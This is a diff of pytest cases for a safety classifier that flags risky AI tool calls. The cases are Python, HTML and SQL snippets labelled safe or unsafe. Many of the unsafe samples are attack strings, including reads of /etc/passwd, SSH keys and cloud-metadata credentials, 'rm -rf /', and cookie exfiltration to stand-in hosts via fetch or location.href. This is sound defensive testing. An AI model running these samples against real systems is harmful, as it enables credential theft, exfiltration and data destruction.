+ ("import os\nos.scandir('/etc')", True), # os.scandir over a sensitive root
+ ("import os\nos.listdir('/home')", True), # os.listdir over a host dir
+ ("import os\nlist(os.walk('/'))", True), # os.walk over the filesystem root
+ (
+ "from pathlib import Path\nlist(Path('.').iterdir())",
+ False,
+ ), # relative dir enumeration stays safe
+ ("import os\nos.scandir('data')", False), # relative scandir stays safe
+ ("import os\nos.listdir('subdir')", False), # relative listdir stays safe
+ (
+ "from pathlib import Path\nfor f in Path('data').glob('*.py'):\n print(f)",
+ False,
+ ), # benign pathlib glob stays safe
+ (
+ "from pathlib import Path\nlist(Path('/home').glob('*'))",
+ True,
+ ), # globbing an absolute root enumerates host filenames
+ (
+ "from pathlib import Path\nlist(Path('/etc').rglob('*'))",
+ True,
+ ), # recursive glob over a system dir
+ ("import glob\nglob.glob('/home/*')", True), # glob.glob pattern rooted absolute
+ (
+ "from pathlib import Path\nlist(Path('~').expanduser().glob('*'))",
+ True,
+ ), # glob over the home directory
+ ("import glob\nglob.glob('src/*.py')", False), # relative glob pattern stays safe
+ (
+ "import os\nbase = os.path.abspath('/etc')\nopen(base + '/passwd').read()",
+ True,
+ ), # abspath keeps the sensitive root
+ (
+ "from pathlib import Path\n(Path('/etc').resolve() / 'passwd').read_text()",
+ True,
+ ), # Path.resolve keeps the sensitive root
+ (
+ "import os\nbase = os.path.abspath('data')\nopen(base + '/x.txt').read()",
+ False,
+ ), # benign normalizer stays safe
+ ("import torch\ntorch.load('model.pt')", True), # pickle-backed loader
+ ("import joblib\njoblib.load('x.pkl')", True), # joblib loader
+ ("import pandas as pd\npd.read_pickle('x.pkl')", True), # pandas pickle reader
+ ("import json\nprint(json.load(open('x.json')))", False), # json.load stays safe
+ (
+ "import types\nc = compile('x=1', '', 'exec')\nf = types.FunctionType(c, globals())\nf()",
+ True,
+ ), # compiled code wrapped into a callable
+ ("cfg = d['k']\nprint(cfg)", False), # subscript result not called stays safe
+ ("open('/etc/{}'.format('passwd')).read()", True), # str.format sensitive path
+ ("open('/etc/{}'.format(name)).read()", True), # format dynamic /etc segment
+ ("print('/tmp/{}'.format('a'))", False), # format under /tmp stays safe
+ ("import numpy\nnumpy.save('x.npy', a)", True), # numpy writer method
+ ("plt.savefig('f.png')", True), # matplotlib writer method
+ ("df.to_csv('out.csv')", True), # pandas writer method
+ ("img.save('o.png')", True), # PIL writer method
+ ("import json\njson.dump(obj, f)", True), # serialization writer
+ ("df.to_string()", False), # non-persisting render stays safe
+ ("model.forward(x)", False), # ordinary method call stays safe
+ ("open(''.join(['/etc', '/passwd'])).read()", True), # str.join sensitive path
+ ("open('/'.join(['/etc', 'passwd'])).read()", True), # separator join
+ ("print(''.join(['a', 'b']))", False), # benign join stays safe
+ ("from builtins import eval as e\ne('1')", True), # aliased builtin eval
+ ("import builtins\nx = builtins.exec\nx('a=1')", True), # attr-aliased exec
+ ("from builtins import __import__ as imp\nimp('os')", True), # aliased __import__
+ ("from mymod import evaluate as e\ne(1)", False), # unrelated alias stays safe
+ ("base = '/etc'\nopen(base + '/passwd').read()", True), # literal-var path
+ ("d = '/etc'\nopen(f'{d}/passwd').read()", True), # literal var in f-string
+ ("base = 'data'\nopen(base + '/x.txt').read()", False), # benign literal var
+ ("import numpy as np\nnp.array([1]).tofile('out.bin')", True), # numpy tofile
+ ("arr.tolist()", False), # non-persisting numpy call stays safe
+ (
+ "from pathlib import Path\np = Path('/etc')\n(p / 'passwd').read_text()",
+ True,
+ ), # pathlib path alias reused
+ (
+ "from pathlib import Path\np = Path('data')\n(p / 'x.txt').read_text()",
+ False,
+ ), # relative path alias stays safe
+ ("open('%s/%s' % ('/etc', 'passwd')).read()", True), # percent-format path
+ ("open('/etc/%s' % name).read()", True), # percent-format dynamic segment
+ ("open('%s/%s' % ('data', 'x.txt')).read()", False), # benign percent-format
+ ("open('/etc/%(f)s' % {'f': 'passwd'}).read()", True), # mapping-style percent path
+ ("open('/etc/%(f)s' % {'f': name}).read()", True), # mapping-style dynamic segment
+ ("open('/etc/%(f)s' % mapping).read()", True), # non-literal mapping fails closed
+ ("open('data/%(f)s' % {'f': 'x.txt'}).read()", False), # benign mapping-style stays safe
+ ("import logging\nlogging.FileHandler('out.log', mode='w')", True), # log file writer
+ ("import logging\nlogging.FileHandler('out.log')", True), # default append still writes
+ ("from logging import FileHandler\nFileHandler('x.log')", True), # bare-name file handler
+ (
+ "import logging.handlers\nlogging.handlers.RotatingFileHandler('x.log')",
+ True,
+ ), # rotating log file writer
+ ("import logging\nlogging.getLogger('x').info('hi')", False), # logging read stays safe
+ ("from numpy import save\ns = save\ns('out.npy', arr)", True), # writer aliased to a name
+ ("from zipfile import ZipFile\nz = ZipFile\nz('a.zip', 'w')", True), # archive ctor aliased
+ ("from numpy import save\ns, _ = (save, 1)\ns('o.npy', a)", True), # writer destructured
+ ("x = len\nx('hi')", False), # a benign builtin alias stays safe
+ ("import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", True), # asyncio spawn
+ ("import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", True), # asyncio spawn
+ ("import asyncio\nasyncio.sleep(1)", False), # benign asyncio helper stays safe
+ ("import imaplib\nimaplib.IMAP4('host')", True), # stdlib mail client opens a connection
+ ("import poplib\npoplib.POP3('host')", True), # stdlib mail client
+ ("import xmlrpc.client\nxmlrpc.client.ServerProxy('http://x')", True), # rpc client
+ ("import math\nmath.sqrt(2)", False), # benign stdlib import stays safe
+ ("def f(o=open):\n o('out', 'w').write('x')\nf()", True), # open captured in a default
+ ("g = lambda o=open: o('out', 'w')\ng()", True), # open captured in a lambda default
+ ("def f(o=len):\n return o('x')\nf()", False), # a benign default stays safe
+ ("import numpy as np\ns = np.save\ns('out.npy', arr)", True), # attribute writer aliased
+ ("from pathlib import Path\np = Path('out').open\np('w')", True), # bound .open aliased
+ ("import zipfile\nz = zipfile.ZipFile\nz('a.zip', 'w')", True), # attribute archive ctor
+ ("import numpy as np\nx = np.mean\nx(a)", False), # a benign attribute alias stays safe
+ (
+ "import numpy as np\nnp.memmap('o', dtype='u1', mode='w+', shape=(1,))",
+ True,
+ ), # memmap w+
+ (
+ "import pandas as pd\npd.ExcelWriter('o.xlsx')",
+ True,
+ ), # pandas ExcelWriter creates a file
+ ("import pandas as pd\npd.HDFStore('o.h5')", True), # pandas HDFStore creates a file
+ ("import asyncio\nasyncio.open_connection('h', 80)", True), # asyncio outbound connection
+ (
+ "import asyncio\nl = asyncio.get_event_loop()\nl.create_server(P, 'h', 80)",
+ True,
+ ), # listener
+ ("import asyncio\nasyncio.start_server(cb, 'h', 80)", True), # asyncio listener
+ (
+ "import asyncio\nasyncio.open_unix_connection('/tmp/s')",
+ True,
+ ), # asyncio unix connect
+ (
+ "import asyncio\nl = asyncio.get_event_loop()\nl.create_datagram_endpoint(f)",
+ True,
+ ), # UDP socket
+ (
+ "import asyncio\nl = asyncio.get_event_loop()\nl.sock_connect(s, ('h', 80))",
+ True,
+ ), # raw socket connect
+ ("import asyncio\nasyncio.sleep(1)", False), # benign asyncio helper stays safe
+ ("import os\nos.setxattr('f', 'user.x', b'v')", True), # xattr write
+ ("import os\nos.removexattr('f', 'user.x')", True), # xattr remove
+ ("import gzip\ngzip.GzipFile('o.gz', 'w')", True), # gzip writer
+ ("import bz2\nbz2.BZ2File('o.bz2', 'w')", True), # bz2 writer
+ ("import lzma\nlzma.LZMAFile('o.xz', mode='w')", True), # lzma writer (mode kw)
+ (
+ "from gzip import GzipFile\nGzipFile('o.gz', 'wb')",
+ True,
+ ), # bare-imported gzip writer
+ ("import gzip\ngzip.GzipFile('o.gz', 'r')", False), # gzip read stays safe
+ ("import gzip\ngzip.GzipFile('o.gz')", False), # gzip default (read) stays safe
+ ("df.to_xml('out.xml')", True), # pandas to_xml writer
+ ("df.to_html('report.html')", True), # pandas to_html writer
+ ("df.to_markdown('out.md')", True), # pandas to_markdown writer
+ ("df.to_latex('out.tex')", True), # pandas to_latex writer
+ ("df.to_dict()", False), # non-persisting pandas export stays safe
+ ("x = df.to_string()", False), # to_string renders to memory, stays safe
+ (
+ "import websockets\nwebsockets.connect('ws://h')",
+ True,
+ ), # websockets outbound connection
+ (
+ "import asyncio\nasyncio.start_unix_server(cb, '/tmp/sock')",
+ True,
+ ), # asyncio unix listener
+ ("import os\nos.startfile('calc.exe')", True), # Windows startfile launches a program
+ (
+ "import socketserver\nsocketserver.TCPServer(('0.0.0.0', 80), H)",
+ True,
+ ), # stdlib server binds a listener
+ (
+ "from gzip import open as gopen\ngopen('o.gz', 'w')",
+ True,
+ ), # gzip open alias, write mode
+ (
+ "from gzip import open as gopen\ngopen('o.gz', 'rt')",
+ False,
+ ), # gzip open alias, read stays safe
+ (
+ "open(chr(47) + 'etc/passwd').read()",
+ True,
+ ), # dynamic '/' prefix forms /etc/passwd
+ (
+ "import os\nopen(os.sep + 'etc/passwd').read()",
+ True,
+ ), # os.sep prefix forms /etc/passwd
+ (
+ "base = get_dir()\nopen(base + 'data/file.txt').read()",
+ False,
+ ), # dynamic prefix + benign suffix stays safe
+ (
+ "import logging\nlogging.basicConfig(filename='o.log', filemode='w')",
+ True,
+ ), # basicConfig opens a log file for write
+ (
+ "from logging import basicConfig\nbasicConfig(filename='o.log')",
+ True,
+ ), # bare-imported basicConfig write
+ (
+ "import logging\nlogging.basicConfig(level=logging.INFO)",
+ False,
+ ), # basicConfig without filename stays safe
+ (
+ "from operator import methodcaller\nw = methodcaller('write_text', 'x')\nw(Path('f'))",
+ True,
+ ), # methodcaller hides a writer method
+ (
+ "import operator\nw = operator.methodcaller('unlink')\nw(Path('f'))",
+ True,
+ ), # operator.methodcaller unlink
+ (
+ "from operator import methodcaller\nu = methodcaller('upper')\nu('x')",
+ False,
+ ), # methodcaller of a read-only method stays safe
+ (
+ "import fileinput\nfor line in fileinput.input('v.txt', inplace=True):\n pass",
+ True,
+ ), # fileinput in-place rewrite
+ (
+ "import fileinput\nfor line in fileinput.input('v.txt'):\n pass",
+ False,
+ ), # fileinput read stays safe
+ (
+ "import pathlib\nP = pathlib.Path\n(P('/etc') / 'passwd').read_text()",
+ True,
+ ), # qualified path-ctor alias (P = pathlib.Path)
+ (
+ "import pathlib\nP = pathlib.Path\n(P('/tmp') / 'x').read_text()",
+ False,
+ ), # benign qualified path-ctor alias stays safe
+ (
+ "import numpy as np\ndef f(s=np.save):\n s('o.npy', a)\nf()",
+ True,
+ ), # attribute writer captured as a default arg
+ (
+ "from functools import partial\ndef f(w=partial(open, mode='w')):\n w('o')\nf()",
+ True,
+ ), # partial(open) captured as a default arg
+ (
+ "import numpy as np\ndef f(s=np.mean):\n s(a)\nf()",
+ False,
+ ), # benign attribute default stays safe
+ (
+ "open('/et' + chr(99) + '/passwd').read()",
+ True,
+ ), # dynamic char splitting a sensitive name
+ (
+ "open(a + '/' + b).read()",
+ False,
+ ), # segment-spanning dynamic path stays safe
+ ("list(map(open, ['o.txt'], ['w']))", True), # open handed to map()
+ (
+ "import numpy as np\nlist(map(np.save, ['o.npy'], [arr]))",
+ True,
+ ), # writer handed to map()
+ ("list(map(len, ['abc']))", False), # benign map() stays safe
+ (
+ "import itertools\nlist(itertools.starmap(open, [('out', 'w')]))",
+ True,
+ ), # qualified higher-order invoker (itertools.starmap)
+ (
+ "import functools\nfunctools.reduce(open, xs)",
+ True,
+ ), # qualified functools.reduce with a writer
+ (
+ "import itertools\nlist(itertools.starmap(len, xs))",
+ False,
+ ), # benign qualified invoker stays safe
+ (
+ "import itertools\nlist(itertools.chain(xs, ys))",
+ False,
+ ), # non-invoker itertools helper stays safe
+ (
+ "m = map\nlist(m(open, ['o.txt'], ['w']))",
+ True,
+ ), # aliased invoker (m = map) handed open()
+ (
+ "from itertools import starmap as sm\nlist(sm(open, [('out', 'w')]))",
+ True,
+ ), # imported-as invoker alias handed open()
+ (
+ "f = filter\nlist(f(open, ['a']))",
+ True,
+ ), # aliased filter() handed open()
+ (
+ "m = map\nlist(m(str, [1, 2]))",
+ False,
+ ), # aliased invoker with a benign callable stays safe
+ ("spec.loader.exec_module(module)", True), # runs a module's code
+ ("spec.loader.get_data('x')", False), # loader read stays safe
+ (
+ "import zipfile\nzipfile.ZipFile('a.zip').extractall('out')",
+ True,
+ ), # extractall writes arbitrary files
+ (
+ "import zipfile\nzipfile.ZipFile('a.zip').extract('member', 'out')",
+ True,
+ ), # single-member extract still writes to disk (zip-slip)
+ (
+ "import tarfile\ntarfile.open('a.tar').extract('m', 'out')",
+ True,
+ ), # tarfile single-member extract writes to disk
+ (
+ "import zipfile\nzipfile.ZipFile('a.zip').read('n')",
+ False,
+ ), # archive in-memory read stays safe
+ (
+ "import zipfile\nzipfile.ZipFile('a.zip').namelist()",
+ False,
+ ), # archive read stays safe
+ ("import ensurepip\nensurepip.bootstrap()", True), # installs pip
+ ("import venv\nvenv.create('env')", True), # builds an environment
+ ("import pydoc\npydoc.writedoc('math')", True), # writes name.html
+ (
+ "print(open('/home/alice/.cache/huggingface/token').read())",
+ True,
+ ), # reads the Hugging Face login token
+ (
+ "open('/home/alice/.cache/huggingface/hub/models--x/config.json').read()",
+ False,
+ ), # HF model cache is not a credential
+ ("import numpy as np\nnp.mean([1, 2])", False), # a benign numpy read stays safe
+ (
+ "from pathlib import Path\nP = Path\n(P('/etc') / 'passwd').read_text()",
+ True,
+ ), # Path aliased
+ (
+ "import os\nj = os.path.join\nopen(j('/etc', 'passwd')).read()",
+ True,
+ ), # os.path.join aliased
+ (
+ "from pathlib import Path\nP = Path\n(P('/tmp') / 'x').read_text()",
+ False,
+ ), # benign alias
+ (
+ "from pathlib import Path\nPath('/etc').joinpath('passwd').read_text()",
+ True,
+ ), # pathlib joinpath
+ (
+ "from pathlib import Path\nPath('data').joinpath('x.txt').read_text()",
+ False,
+ ), # relative joinpath stays safe
+ (
+ "from pathlib import Path\nPath('/etc/anything').with_name('passwd').read_text()",
+ True,
+ ), # with_name rewrites the final segment to a secret
+ (
+ "from pathlib import Path\nPath('/etc/x').with_stem('passwd').read_text()",
+ True,
+ ), # with_stem rewrites the stem to a secret
+ (
+ "from pathlib import Path\nPath('/etc/passwd.bak').with_suffix('').read_text()",
+ True,
+ ), # with_suffix drops the suffix onto a secret
+ (
+ "from pathlib import Path\nPath('/tmp/a').with_name('b.txt').read_text()",
+ False,
+ ), # benign with_name in the sandbox stays safe
+ (
+ "from pathlib import Path\nPath('report.txt').with_suffix('.md').read_text()",
+ False,
+ ), # benign with_suffix stays safe
+ ("base, leaf = ('/etc', 'passwd')\nopen(base + '/' + leaf).read()", True),
+ # destructured string literals fold into the sensitive path
+ ("d, f = ('/etc', 'passwd')\nopen('/'.join([d, f])).read()", True),
+ # destructured literals reused through str.join
+ ("base, leaf = ('/tmp', 'x')\nopen(base + '/' + leaf).read()", False),
+ # benign destructured literals stay safe
+ ("open(b'/etc/passwd').read()", True), # bytes path literal
+ ("open(b'data.txt').read()", False), # benign bytes literal stays safe
+ (
+ "from pathlib import Path\n(Path.cwd().parent / 'other' / 'notes').read_text()",
+ True,
+ ), # pathlib parent escapes the sandbox
+ (
+ "from pathlib import Path\n(Path('data') / 'notes').read_text()",
+ False,
+ ), # in-sandbox pathlib read stays safe
+ ("import glob\nopen(glob.glob('/e??/passwd')[0]).read()", True), # python glob to secret
+ ("import glob\nfor f in glob.glob('*.py'):\n print(f)", False), # benign glob stays safe
+ (
+ "import glob\nbase = '/e??'\nopen(glob.glob(base + '/passwd')[0]).read()",
+ True,
+ ), # glob pattern folded from a literal variable
+ ("from os.path import join\nopen(join('/etc', 'passwd')).read()", True), # bare join alias
+ ("from os.path import join\nopen(join('data', 'x.txt')).read()", False), # benign bare join
+ ("from numpy import save\nsave('out.npy', arr)", True), # writer imported as a bare name
+ ("from numpy import mean\nmean(arr)", False), # benign bare import stays safe
+ (
+ "from pathlib import Path as P\n(P('/etc') / 'passwd').read_text()",
+ True,
+ ), # aliased pathlib constructor
+ (
+ "from pathlib import Path as P\n(P('data') / 'x').read_text()",
+ False,
+ ), # aliased ctor with a relative path stays safe
+ (
+ "from pathlib import PosixPath\n(PosixPath('/etc') / 'passwd').read_text()",
+ True,
+ ), # concrete PosixPath constructor is folded too
+ (
+ "import pathlib\n(pathlib.PosixPath('/etc') / 'passwd').read_text()",
+ True,
+ ), # qualified concrete constructor
+ (
+ "from pathlib import WindowsPath as W\n(W('/etc') / 'passwd').read_text()",
+ True,
+ ), # aliased concrete Windows constructor
+ (
+ "from pathlib import PosixPath\n(PosixPath('data') / 'x').read_text()",
+ False,
+ ), # concrete ctor with a relative path stays safe
+ (
+ "base = '/etc'\nopen(base + '/passwd').read()\nbase = 'data'",
+ True,
+ ), # a later reassignment must not mask the earlier sensitive read
+ (
+ "base = 'data'\nopen(base + '/x').read()\nbase = '/etc'",
+ True,
+ ), # any reassignment of a path var fails closed
+ (
+ "base = 'data'\nopen(base + '/x').read()",
+ False,
+ ), # a single benign literal path var stays safe
+ (
+ "from zipfile import ZipFile\nZipFile('out.zip', 'w')",
+ True,
+ ), # bare archive constructor with write mode
+ (
+ "from tarfile import TarFile as T\nT('a.tar', 'w')",
+ True,
+ ), # aliased bare archive constructor
+ (
+ "from zipfile import ZipFile\nZipFile('in.zip')",
+ False,
+ ), # bare archive constructor reading stays safe
+ (
+ "import os\ng = getattr\nrm = g(os, 'remove')\nrm('file')",
+ True,
+ ), # dynamic lookup aliased through a getattr alias
+ (
+ "import os\ng = getattr\nn = g(os, 'name')\nprint(n)",
+ False,
+ ), # resolving (not calling) through a getattr alias stays safe
+ (
+ "from functools import partial\nw = partial(open, mode='w')\nw('out.txt')",
+ True,
+ ), # partial wrapping open hides the write mode
+ (
+ "import os\nfrom functools import partial\nw = partial(os.remove)\nw('f')",
+ True,
+ ), # partial wrapping a mutating callable
+ (
+ "from functools import partial\np = partial(print, end='')\np('hi')",
+ False,
+ ), # partial wrapping a safe callable stays safe
+ (
+ "open(*('result.txt', 'w')).write('x')",
+ True,
+ ), # *args splat can hide the write mode
+ ("open(*args).write('x')", True), # dynamic *args splat fails closed
+ ("__builtins__.__import__('subprocess')", True), # __builtins__ dynamic import
+ (
+ "import builtins\nbuiltins.__import__('os')",
+ True,
+ ), # builtins.__import__ dynamic import
+ (
+ "import builtins\nbuiltins.print(builtins.len([1]))",
+ False,
+ ), # benign builtins.print/len stay safe
+ (
+ "import os\nopen(f'/proc/{os.getppid()}/fd/3').read()",
+ True,
+ ), # f-string procfs fd symlink read
+ # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+ # files over the network (and write an on-disk cache), so they ask.
+ (
+ "import huggingface_hub\nhuggingface_hub.hf_hub_download('r', 'f')",
+ True,
+ ), # hub file download over the network
+ (
+ "from huggingface_hub import hf_hub_download\nhf_hub_download('r', 'f')",
+ True,
+ ), # bare-imported hub file download
+ (
+ "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
+ True,
+ ), # bare-imported repo snapshot download
+ ("import statistics\nstatistics.mean([1, 2])", False), # benign stdlib import stays safe
+ # A concrete write callable handed to a user-defined helper that can
+ # invoke it bypasses the direct open()/writer site, so it asks.
+ (
+ "def run(fn): fn('out.txt', 'w').write('x')\nrun(open)",
+ True,
+ ), # open passed into a helper that calls it
+ (
+ "from numpy import save\ndef h(fn): fn('o.npy', a)\nh(save)",
+ True,
+ ), # writer alias passed into a helper
+ (
+ "import numpy as np\ndef run(fn): fn('o.npy', a)\nrun(np.save)",
+ True,
+ ), # attribute writer passed into a helper
+ ("def run(fn): return fn('x')\nrun(len)", False), # benign callable arg stays safe
+ ],
+)
+def test_python_classifier(code, unsafe):
+ assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe
+
+
+def test_builtin_readonly_tools_are_safe():
+ assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
+ assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
+ assert is_potentially_unsafe_tool_call("render_html", {}) is False
+
+
+def test_render_html_gated_only_when_networked():
+ # A static canvas auto-runs; one whose HTML/JS reaches the network asks.
+ def rh(code):
+ return is_potentially_unsafe_tool_call("render_html", {"code": code})
+
+ assert rh("<h1>Report</h1><p>Summary</p>") is False
+ assert (
+ rh("<div id=c></div><script>document.getElementById('c').textContent='x'</script>") is False
+ )
+ assert rh("<svg xmlns='http://www.w3.org/2000/svg'><circle r=4/></svg>") is False
+ assert rh("<img src='./local.png'>") is False
+ assert rh("<img src=x onerror='fetch(1)'>") is True
+ assert rh("<script>new WebSocket('wss://x')</script>") is True
+ assert rh("<script src='https://cdn/x.js'></script>") is True
+ assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
+ assert rh("<img src='https://evil/pixel.png'>") is True
+ # Worker / SharedWorker constructors run an off-thread script the scan cannot
+ # see (a module worker from a CORS CDN, or a blob/same-origin worker that
+ # fetches/importScripts) under worker-src http: https: blob:, so they ask.
+ assert rh("<script>new Worker('https://evil/w.js')</script>") is True
+ assert rh("<script>new Worker('https://cdn/x.mjs', {type: 'module'})</script>") is True
+ assert rh("<script>new SharedWorker('https://evil/w.js')</script>") is True
+ assert rh("<script>var myWorker = 1; console.log(myWorker)</script>") is False # not a ctor
+ assert rh("<script>new WorkerPool(4)</script>") is False # unrelated class, not a real Worker
+ # Resource-loading forms beyond a direct fetch also reach the network.
+ assert rh("<style>body{background:url(https://evil/x.png)}</style>") is True
+ assert rh("<style>@import 'https://evil/x.css'</style>") is True
+ assert rh("<img srcset='https://evil/x.png 1x'>") is True
+ assert rh("<img src='/api/leak?d=1'>") is True # root-relative resolves to origin
+ assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True # protocol-relative
+ # Self-navigation sinks exfiltrate by navigating the frame away.
+ assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
+ assert rh("<script>location.assign('https://x')</script>") is True
+ assert rh("<script>location.replace('https://x')</script>") is True
+ assert rh("<script>window.open('https://x')</script>") is True
+ assert rh("<script>window.location='https://x'</script>") is True
+ assert rh("<script>location.reload()</script>") is False # reload is not navigation
+ assert rh("<script>history.back()</script>") is False
+ # Obfuscated egress: a block comment splitting fetch(, or bracket access.
+ assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
+ assert rh("<script>window['fetch']('https://example.com')</script>") is True
+ # A computed bracket key spliced from string fragments on a global host object.
+ assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
+ assert rh("<script>self['open' + '']('https://x')</script>") is True
+ # A computed key on a plain object (not a global host) stays a static canvas.
+ assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
+ assert rh("<script>/* just a note */ var x = 1</script>") is False # comment only
+ # A meta-refresh with a url navigates the frame to an external origin.
+ assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
+ assert rh("<meta http-equiv='refresh' content='0; url=https://x'>") is True
+ assert rh('<meta http-equiv="refresh" content="30">') is False # self-reload, no url
+ assert rh('<meta charset="utf-8"><h1>Hi</h1>') is False # ordinary meta stays safe
+
+
+def test_unknown_tools_fail_closed():
+ assert is_potentially_unsafe_tool_call("mystery_tool", {}) is True
+
+
+def test_is_always_safe_tool():
+ from core.inference.tools import is_always_safe_tool
+ for name in ("web_search", "search_knowledge_base"):
+ assert is_always_safe_tool(name) is True
+ # render_html is no longer unconditionally safe: a networked canvas can prompt,
+ # which cannot be judged before its arguments stream.
+ for name in ("python", "terminal", "mystery_tool", "mcp__srv__read", "render_html"):
+ assert is_always_safe_tool(name) is False
+
+
+ ("tool", "unsafe"),
+ [
+ ("get_weather", False),
+ ("list_files", False),
+ ("search", False),
+ ("send_email", True),
+ ("create_issue", True),
+ ("delete_row", True),
+ ("get_or_create_issue", True), # mutating verb overrides read prefix
+ ("read_and_delete_file", True),
+ ("find_and_update_row", True),
+ ("get_and_commit_changes", True), # commit/save/archive are mutating
+ ("read_and_save_file", True),
+ ("list_and_archive", True),
+ ("list_and_clone_repo", True), # clone/checkout/comment are mutating
+ ("fetch_and_comment_issue", True),
+ ("get_and_checkout_branch", True),
+ ("read_and_append_file", True), # append/prepend are mutating
+ ("prepend_line", True),
+ ("get_and_upsert_row", True), # upsert/assign are mutating
+ ("list_and_assign_issue", True),
+ ("read_and_copy_file", True), # copy-style verbs create/overwrite state
+ ("get_and_copy_resource", True),
+ ("read_and_duplicate_entry", True),
+ ("fetch_and_download_asset", True), # download writes local state
+ ("list_and_export_data", True), # import/export/backup/restore/snapshot
+ ("get_and_snapshot_volume", True),
+ ("get_and_mark_read", True), # mark/subscribe change external state
+ ("get_and_subscribe", True),
+ ("list_and_unsubscribe", True),
+ ("get_and_reply_email", True), # reply/notify send/change external state
+ ("list_and_notify_users", True),
+ ("read_secret", True), # credential noun: a read that discloses a secret
+ ("list_tokens", True),
+ ("get_credentials", True),
+ ("fetch_api_key", True), # scoped *_key noun
+ ("read_access_key", True),
+ ("get_password", True),
+ ("read_passphrase", True),
+ ("read_report", False), # plain read stays safe
+ ("get_primary_key", False), # a schema key is not a credential
+ ("search_keyboard_shortcuts", False), # 'key' inside another word stays safe
+ ("list_bookmarks", False), # 'mark' substring in a token stays safe
+ ("list_notifications", False), # 'notify' is a different token than 'notifications'
+ ],
+)
+def test_mcp_classifier(tool, unsafe):
+ name = f"{MCP_TOOL_PREFIX}srv1__{tool}"
+ assert is_potentially_unsafe_tool_call(name, {}) is unsafe
+
+
+ ("args", "unsafe"),
+ [
+ ({"path": "/etc/passwd"}, True), # read-named tool at a credential path
+ ({"path": "../../.ssh/id_rsa"}, True),
+ ({"nested": {"file": "~/.aws/credentials"}}, True),
+ ({"name": "OPENAI_API_KEY"}, True), # explicit credential env-var read
+ ({"name": "AWS_SECRET_ACCESS_KEY"}, True),
+ ({"key": "DATABASE_PASSWORD"}, True),
+ (
+ {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"},
+ True,
+ ), # AWS instance-metadata host
+ (
+ {"url": "http://metadata.google.internal/computeMetadata/v1/"},
+ True,
+ ), # GCP metadata host
+ ({"path": "notes.txt"}, False), # ordinary path stays safe
+ ({"path": "data/report.csv"}, False),
+ ({"name": "PATH"}, False), # a non-secret env var stays safe
+ ({"name": "HOME"}, False),
+ ({"url": "https://example.com/api"}, False), # ordinary URL stays safe
+ ({"url": "http://localhost:8080/health"}, False), # localhost app stays safe
+ ],
+)
+def test_mcp_sensitive_arguments(args, unsafe):
+ name = f"{MCP_TOOL_PREFIX}fs__read_file"
+ assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+ ("args", "unsafe"),
+ [
+ ({"query": "DELETE FROM runs"}, True), # read-named tool, mutating query
+ ({"sql": "DROP TABLE users"}, True),
+ ({"query": "UPDATE t SET x=1"}, True),
+ ({"query": "INSERT INTO t VALUES (1)"}, True),
+ ({"query": "SELECT * FROM runs"}, False), # read query stays safe
+ ({"query": "how to delete old files"}, False), # NL text with 'delete' stays safe
+ ({"query": "find the created_at column"}, False), # 'created' substring stays safe
+ ({"query": "DELETE/**/FROM runs"}, True), # inline SQL comment as whitespace
+ ({"query": "UPDATE/**/t SET x=1"}, True),
+ ({"query": "DROP/**/TABLE users"}, True),
+ ({"query": "SELECT * FROM runs -- delete later"}, False), # trailing comment stays safe
+ ({"query": "COPY users FROM '/tmp/u.csv'"}, True), # bulk load writes the table
+ ({"query": "COPY users (id, name)\nFROM STDIN"}, True), # multiline COPY FROM
+ ({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True), # COPY TO writes a server file
+ ({"query": "SELECT copy_count FROM t"}, False), # 'copy' substring column stays safe
+ ({"query": "mutation { deleteIssue(id: 1) }"}, True), # GraphQL mutation
+ ({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True), # named GraphQL mutation
+ ({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True), # comment before body
+ ({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True), # comment before name
+ ({"query": "query { issue(id: 1) { title } }"}, False), # GraphQL read query stays safe
+ ({"query": "{ issue(id: 1) { title } }"}, False), # shorthand GraphQL query stays safe
+ ({"query": "query # note\n { issue(id: 1) }"}, False), # commented read query stays safe
+ ({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True), # DDL with a modifier
+ ({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True), # DDL with UNIQUE
+ ({"query": "CREATE TEMP TABLE t (id int)"}, True), # DDL with TEMP
+ ({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True), # materialized view DDL
+ ({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True), # function DDL
+ ({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True), # persists server config
+ ({"query": "alter system reset all"}, True), # ALTER SYSTEM RESET
+ ({"query": "SELECT * FROM system_logs"}, False), # 'system' as a table name stays safe
+ ({"query": "SELECT * FROM created_view"}, False), # 'create' substring stays safe
+ ({"query": "CALL delete_all_users()"}, True), # stored procedure invocation
+ ({"query": "EXEC purge_queue"}, True), # EXEC procedure
+ ({"query": "EXECUTE sp_drop"}, True), # EXECUTE procedure
+ ({"query": "VACUUM INTO 'backup.db'"}, True), # VACUUM rewrites the database
+ ({"query": "please call me back later"}, False), # NL 'call' stays safe
+ ({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True), # attaches a database file
+ ({"query": "DETACH DATABASE x"}, True), # detaches a database
+ ({"query": "PRAGMA user_version = 42"}, True), # write-form PRAGMA
+ ({"query": "PRAGMA journal_mode=WAL"}, True), # write-form PRAGMA (no spaces)
+ ({"query": "PRAGMA foreign_keys(0)"}, True), # call-form PRAGMA write
+ ({"query": "SELECT load_extension('/tmp/evil.so')"}, True), # loads native code
+ ({"query": "PRAGMA journal_mode"}, False), # read-form PRAGMA stays safe
